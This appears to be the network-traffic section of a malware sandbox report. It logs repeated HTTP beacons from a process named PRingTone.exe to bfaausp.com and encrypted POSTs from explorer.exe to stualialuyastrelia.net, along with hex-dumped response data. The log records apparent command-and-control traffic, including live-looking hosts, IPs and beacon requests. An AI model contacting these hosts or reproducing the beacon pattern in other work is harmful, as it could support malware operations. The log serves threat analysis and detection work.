Dec 19, 2023 03:24:03.220411062 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 66 36 34 0d 0a 64 65 32 66 65 38 38 65 32 36 31 64 34 37 34 39 62 39 36 34 37 38 33 39 33 39 36 39 66 38 30 37 33 39 66 62 31 31 35 37 39 34 34 37 31 37 64 61 66 63 61 65 38 63 62 62 62 38 32 65 63 32 36 32 36 30 37 63 35 30 63 39 64 33 34 66 64 63 34 61 34 38 64 32 34 37 39 37 34 35 65 64 34 62 65 32 62 37 66 36 34 65 39 33 35 37 39 65 33 63 31 66 39 32 32 62 38 37 34 37 39 62 39 35 32 32 32 35 36 38 34 39 61 33 32 34 32 30 37 32 63 38 39 30 36 30 33 33 38 61 38 64 64 64 32 62 35 62 35 33 38 66 63 35 30 37 66 30 31 35 63 34 64 61 35 63 62 33 32 64 33 39 31 61 34 61 63 61 35 63 32 39 63 35 35 65 66 64 33 34 39 64 34 33 34 30 61 65 32 37 65 62 61 35 31 61 39 62 35 65 35 64 62 63 62 36 61 33 38 31 65 39 64 36 61 64 35 32 66 65 66 61 62 65 39 31 64 35 32 35 33 39 38 32 31 65 62 61 33 37 66 30 37 33 31 64 61 36 61 37 37 66 61 66 30 36 63 31 62 36 37 64 39 32 31 37 61 66 63 62 39 39 33 39 34 38 39 34 61 36 64 37 32 34 38 32 65 36 38 36 65 38 30 35 66 31 34 33 64 34 35 35 32 66 63 35 32 61 61 35 39 33 32 34 63 62 36 34 30 62 34 32 35 33 39 32 64 64 66 33 63 37 65 64 37 38 37 38 34 31 32 37 33 61 62 35 36 33 66 65 62 39 32 33 32 35 32 33 61 65 63 36 36 37 36 35 33 63 31 32 66 66 39 65 36 34 35 39 34 31 61 37 34 39 62 37 61 64 66 31 64 31 33 65 33 37 30 64 31 65 32 33 35 62 64 38 30 32 64 34 34 32 30 38 35 30 66 65 31 36 30 34 33 65 38 61 66 39 63 31 37 35 38 35 39 36 64 35 38 39 31 31 34 61 33 31 63 34 62 30 34 33 36 63 65 63 66 62 37 32 35 36 39 35 65 38 35 65 38 30 30 36 66 35 30 34 34 37 39 64 32 36 63 65 65 65 62 65 32 37 35 39 65 37 37 38 63 65 36 35 33 36 36 36 61 62 35 34 66 37 66 63 63 64 31 39 32 65 30 36 63 39 62 63 38 37 63 32 63 38 65 62 35 31 37 32 64 33 35 66 30 36 38 35 30 37 32 35 63 38 32 37 38 38 63 33 37 62 31 36 34 62 36 66 31 37 34 61 39 66 63 62 30 38 39 66 64 61 39 37 32 30 37 61 38 38 64 32 63 34 32 35 37 38 31 61 62 65 32 62 34 65 64 38 64 66 33 37 34 34 31 33 31 62 61 64 30 63 65 34 66 33 36 64 35 36 38 36 34 33 65 61 65 35 30 64 30 39 62 36 61 30 66 61 36 64 34 38 30 62 35 39 39 32 34 65 36 63 62 66 66 35 62 37 64 63 64 37 31 35 61 35 37 65 31 32 61 39 33 31 65 62 30 34 37 39 30 35 37 30 34 36 63 33 35 37 63 35 66 35 31 30 32 66 38 63 35 61 37 30 65 38 64 62 63 30 38 38 65 61 33 64 63 64 65 35 33 64 33 38 30 61 61 63 36 33 31 32 62 66 31 63 31 31 39 35 66 64 61 64 31 36 65 38 63 65 61 30 30 65 63 32 61 65 38 39 65 64 61 37 36 31 31 34 65 64 64 65 62 64 63 61 37 39 32 64 32 34 36 34 61 66 37 61 38 35 39 66 35 37 32 30 38 66 34 31 38 34 33 30 31 31 61 36 35 32 32 37 62 39 31 64 34 38 31 39 66 35 32 62 39 36 37 65 62 36 64 32 64 65 64 30 38 37 62 33 35 64 32 33 66 33 63 38 39 37 62 31 37 37 31 61 30 61 62 31 33 62 33 39 66 39 66 65 38 39 32 36 65 36 62 35 39 30 39 39 36 37 37 33 31 62 61 31 38 31 35 34 65 65 36 64 66 63 66 65 63 35 32 37 33 62 36 30 37 39 35 33 35 35 36 33 34 39 36 64 63 63 37 37 35 62 61 63 64 37 65 61 34 63 61 33 66 34 32 64 36 64 35 64 66 33 65 62 66 65 37 34 31 32 30 30 30 31 31 35 37 39 62 30 35 31 38 37 64 62 39 66 66 37 64 38 37 36 32 37 38 65 37 31 38 31 35 63 37 33 36 63 38 66 66 63 33 37 31 63 39 63 31 62 35 65 62 35 62 31 33 35 33 30 66 63 38 33 31 32 32 65 64 65 31 66 36 36 66 35 62 35 31 33 39 33 33 65 62 62 66 30 34 34 38 63 30 66 36 36 38 61 63 36 63 65 36 34 63 Data Ascii: f64de2fe88e261d4749b96478393969f80739fb1157944717dafcae8cbbb82ec262607c50c9d34fdc4a48d2479745ed4be2b7f64e93579e3c1f922b87479b9522256849a3242072c89060338a8ddd2b5b538fc507f015c4da5cb32d391a4aca5c29c55efd349d4340ae27eba51a9b5e5dbcb6a381e9d6ad52fefabe91d52539821eba37f0731da6a77faf06c1b67d9217afcb99394894a6d72482e686e805f143d4552fc52aa59324cb640b425392ddf3c7ed787841273ab563feb9232523aec667653c12ff9e645941a749b7adf1d13e370d1e235bd802d4420850fe16043e8af9c1758596d589114a31c4b0436cecfb725695e85e8006f504479d26ceeebe2759e778ce653666ab54f7fccd192e06c9bc87c2c8eb5172d35f06850725c82788c37b164b6f174a9fcb089fda97207a88d2c425781abe2b4ed8df3744131bad0ce4f36d568643eae50d09b6a0fa6d480b59924e6cbff5b7dcd715a57e12a931eb0479057046c357c5f5102f8c5a70e8dbc088ea3dcde53d380aac6312bf1c1195fdad16e8cea00ec2ae89eda76114eddebdca792d2464af7a859f57208f41843011a65227b91d4819f52b967eb6d2ded087b35d23f3c897b1771a0ab13b39f9fe8926e6b5909967731ba18154ee6dfcfec5273b6079535563496dcc775bacd7ea4ca3f42d6d5df3ebfe741200011579b05187db9ff7d876278e71815c736c8ffc371c9c1b5eb5b13530fc83122ede1f66f5b513933ebbf0448c0f668ac6ce64c
Dec 19, 2023 03:24:03.220441103 CET	1286	IN	Data Raw: 34 37 66 62 33 38 36 63 36 31 30 35 31 61 65 64 64 38 62 37 31 36 39 66 32 37 38 66 37 36 36 61 66 62 37 65 64 64 35 65 66 39 33 31 33 34 33 33 66 33 31 38 31 37 61 34 64 61 36 36 38 37 65 61 34 62 66 36 65 36 34 35 36 30 62 39 63 61 65 30 62 36 Data Ascii: 47fb386c61051aedd8b7169f278f766afb7edd5ef9313433f31817a4da6687ea4bf6e64560b9cae0b60f16531a09b74ebb247717e6af86b3d64b9c8186940f5c8ca90f4fc910ee0773a75ccbe59cabf3a29c4ef4be3cb4cef24ad864f420fd21cd10b3016c90736572523e25b5dafced50b71c6b7ffa7154a8a
Dec 19, 2023 03:24:03.220459938 CET	1286	IN	Data Raw: 62 38 64 32 30 63 64 38 35 30 30 62 33 34 36 65 63 62 37 65 36 31 38 64 64 63 35 66 39 38 32 37 35 34 65 38 30 39 31 38 34 66 33 63 37 63 66 65 61 64 34 63 65 62 32 62 31 33 64 62 65 35 36 63 37 31 31 37 37 63 37 64 39 61 63 33 33 30 66 39 64 36 Data Ascii: b8d20cd8500b346ecb7e618ddc5f982754e809184f3c7cfead4ceb2b13dbe56c71177c7d9ac330f9d6ede5f5d4f2ca9cfa32bc6fd5027d277cc3de8b53b96775e605f34bd8f39f488b428d6247f41a5e2a17c1c4e9080791ace79cedf12826b3f3f4027c542703c85a3da3b6ababca2ba1f32340429329ee305
Dec 19, 2023 03:24:03.220496893 CET	285	IN	Data Raw: 38 39 33 35 36 61 31 35 31 63 37 37 31 37 33 35 31 32 33 33 33 36 66 37 30 63 38 61 36 63 66 34 31 64 37 34 64 30 32 35 33 38 38 31 37 36 62 37 33 36 62 61 61 65 34 63 65 62 66 62 61 61 61 63 61 65 37 66 37 63 30 35 36 30 38 64 35 33 32 39 36 36 Data Ascii: 89356a151c771735123336f70c8a6cf41d74d025388176b736baae4cebfbaaacae7f7c05608d53296648981cecf615b73c42af03d99646b6c3e235bb964027057ae3a7dc994cb54e74f23a973ea396fd6ad38cb19fc560a49aee528a4e8fb40240248280dcb4689a495c72ce4225ddcef3dbb78e1ec7db46627
Dec 19, 2023 03:24:03.220566988 CET	155	IN	Data Raw: 39 30 0d 0a 34 30 33 36 35 32 38 33 34 64 38 64 35 32 65 34 34 66 66 30 62 38 65 36 38 61 38 31 36 37 39 65 31 66 34 61 63 31 35 61 61 37 61 31 64 39 36 36 35 36 37 66 31 30 37 66 64 63 37 31 38 61 39 61 62 35 62 64 66 36 66 37 32 61 38 31 37 30 Data Ascii: 90403652834d8d52e44ff0b8e68a81679e1f4ac15aa7a1d966567f107fdc718a9ab5bdf6f72a8170616eccae967b294983228adb697b3591dd788e359a2f66cd2ea86345a7e5fce9a20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49815	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:03.865437031 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:04.139055967 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49816	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:04.512262106 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:04.793467045 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49819	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:05.173687935 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:05.454638004 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49821	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:05.936732054 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:06.220458031 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49822	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:06.638421059 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:06.911632061 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49823	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:07.310273886 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:07.591140985 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49824	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:07.742214918 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://repnhsfkotajyuvr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:24:07.742252111 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:24:08.034148932 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:24:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49826	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:08.367146969 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:08.647964954 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49827	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:10.403259039 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:10.681133032 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49829	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:11.076997995 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:11.354692936 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49830	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:11.761188030 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:12.034271955 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49831	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:12.434181929 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:12.715903997 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49832	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:13.158128023 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:13.435872078 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49833	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:13.824661016 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:14.098714113 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49834	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:14.530761003 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:14.810122013 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49835	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:15.184706926 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:15.462799072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49836	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:15.888606071 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:16.166766882 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49837	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:16.562542915 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:16.835459948 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49840	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:17.199476957 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bftrakiarve.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:24:17.199520111 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
